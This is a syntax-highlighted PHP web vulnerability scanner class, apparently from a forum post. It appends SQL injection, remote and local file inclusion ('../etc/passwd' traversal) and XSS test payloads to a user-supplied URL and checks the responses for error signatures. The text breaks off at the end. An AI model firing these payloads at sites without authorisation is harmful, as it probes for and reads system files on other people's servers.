white;">&lt;?php<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: orange;">##Coded&nbsp;by&nbsp;The&nbsp;Alchemist<br />&nbsp;&nbsp;&nbsp;&nbsp;##Thanks&nbsp;again&nbsp;ande<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">class&nbsp;</span><span style="color: white;">Vulnscanner<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;sql&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"'"</span><span style="color: red;">,</span><span style="color: pink;">'"'</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;rfi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"http://www.facebook.com"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;lfi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../../../etc/passwd"</span><span style="color: red;">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"../../../../../../etc/passwd"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;xss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"'&#092;"/&gt;&lt;img&nbsp;src=&#092;"http://owned.com&#092;"/&gt;"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;sqlerrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"mysql_"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"You&nbsp;have&nbsp;an&nbsp;error&nbsp;in&nbsp;your&nbsp;SQL&nbsp;syntax"</span><span style="color: red;">,&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: pink;">"SQL&nbsp;Error"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"Database&nbsp;Error"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"supplied&nbsp;argument&nbsp;is&nbsp;not&nbsp;a&nbsp;valid&nbsp;MySQL&nbsp;result&nbsp;resource"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;rfierrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"Welcome&nbsp;to&nbsp;Facebook&nbsp;-&nbsp;Log&nbsp;In,&nbsp;Sign&nbsp;Up&nbsp;or&nbsp;Learn&nbsp;More"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"failed&nbsp;to&nbsp;open&nbsp;stream:&nbsp;No&nbsp;such&nbsp;file&nbsp;or&nbsp;directory"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;lfierrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"root:x:0:0:root:"</span><span style="color: red;">,&nbsp;</span><span style="color: pink;">"failed&nbsp;to&nbsp;open&nbsp;stream:&nbsp;No&nbsp;such&nbsp;file&nbsp;or&nbsp;directory"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: white;">&#36;xsserrors&nbsp;&nbsp;&nbsp;</span><span style="color: red;">=&nbsp;array(</span><span style="color: pink;">"&lt;img&nbsp;src=&#092;"http://owned.com&#092;"/&gt;"</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">isvalid</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">filter_var</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">FILTER_VALIDATE_URL</span><span style="color: red;">)&nbsp;&amp;&amp;&nbsp;</span><span style="color: white;">strstr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">"="</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">true</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">false</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;</span><span style="color: white;">getcontents</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;agent</span><span style="color: red;">=&nbsp;</span><span style="color: pink;">'Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;6.1;&nbsp;WOW64;&nbsp;rv:17.0)&nbsp;Gecko/20100101&nbsp;Firefox/17.0'</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;ch&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">curl_init</span><span style="color: red;">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_SSL_VERIFYPEER</span><span style="color: red;">,&nbsp;</span><span style="color: white;">false</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_VERBOSE</span><span style="color: red;">,&nbsp;</span><span style="color: white;">true</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_RETURNTRANSFER</span><span style="color: red;">,&nbsp;</span><span style="color: white;">true</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_USERAGENT</span><span style="color: red;">,&nbsp;</span><span style="color: white;">&#36;agent</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">curl_setopt</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">,&nbsp;</span><span style="color: white;">CURLOPT_URL</span><span style="color: red;">,</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;result</span><span style="color: red;">=</span><span style="color: white;">curl_exec</span><span style="color: red;">(</span><span style="color: white;">&#36;ch</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">&#36;result</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;function&nbsp;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;url</span><span style="color: red;">,</span><span style="color: white;">&#36;addtourl</span><span style="color: red;">,</span><span style="color: white;">&#36;errorar</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach(</span><span style="color: white;">&#36;addtourl&nbsp;</span><span style="color: red;">as&nbsp;</span><span style="color: white;">&#36;val</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;url</span><span style="color: red;">.</span><span style="color: white;">&#36;val</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;contents&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">getcontents</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach(</span><span style="color: white;">&#36;errorar&nbsp;</span><span style="color: red;">as&nbsp;</span><span style="color: white;">&#36;err</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">strstr</span><span style="color: red;">(</span><span style="color: white;">&#36;contents</span><span style="color: red;">,&nbsp;</span><span style="color: white;">&#36;err</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">true</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: white;">false</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">issqlvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">sql</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">sqlerrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;SQL&nbsp;Injection.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;SQL&nbsp;Injection.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">isrfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">substr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">0</span><span style="color: red;">,</span><span style="color: white;">strpos</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">'='</span><span style="color: red;">)+</span><span style="color: white;">1</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">rfi</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">rfierrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;RFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;RFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">islfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">substr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">0</span><span style="color: red;">,</span><span style="color: white;">strpos</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">'='</span><span style="color: red;">)+</span><span style="color: white;">1</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">lfi</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">lfierrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;LFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;LFI.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: white;">isxssvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;orig&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;link</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">substr</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">0</span><span style="color: red;">,</span><span style="color: white;">strpos</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: pink;">'='</span><span style="color: red;">)+</span><span style="color: white;">1</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">errorcheck</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">xss</span><span style="color: red;">,</span><span style="color: white;">&#36;this</span><span style="color: red;">-&gt;</span><span style="color: white;">xsserrors</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;might&lt;/span&gt;&nbsp;be&nbsp;vulnerable&nbsp;to&nbsp;XSS.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;orig</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;probably&nbsp;&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;NOT&lt;/span&gt;&nbsp;vulnerable&nbsp;to&nbsp;XSS.&lt;br&nbsp;/&gt;"</span><span style="color: red;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;}&nbsp;</span><span style="color: orange;">//&nbsp;END&nbsp;OF&nbsp;CLASS<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: red;">if(isset(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">])&nbsp;&amp;&amp;&nbsp;isset(</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'submit'</span><span style="color: red;">]))<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj&nbsp;</span><span style="color: red;">=&nbsp;new&nbsp;</span><span style="color: white;">Vulnscanner</span><span style="color: red;">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;link&nbsp;</span><span style="color: red;">=&nbsp;</span><span style="color: white;">&#36;_POST</span><span style="color: red;">[</span><span style="color: pink;">'url'</span><span style="color: red;">];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">isvalid</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">islfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">isxssvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">issqlvulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: white;">&#36;obj</span><span style="color: red;">-&gt;</span><span style="color: white;">isrfivulnerable</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: pink;">"&lt;span&nbsp;style=&#092;"color:&nbsp;red;&#092;"&gt;"</span><span style="color: red;">.&nbsp;</span><span style="color: white;">htmlentities</span><span style="color: red;">(</span><span style="color: white;">&#36;link</span><span style="color: red;">)&nbsp;.</span><span style="color: pink;">"&nbsp;is&nbsp;not&nbsp;a&nbsp;valid&nbsp;link.&lt;/span&gt;"</span><span style="color: red;">;<br 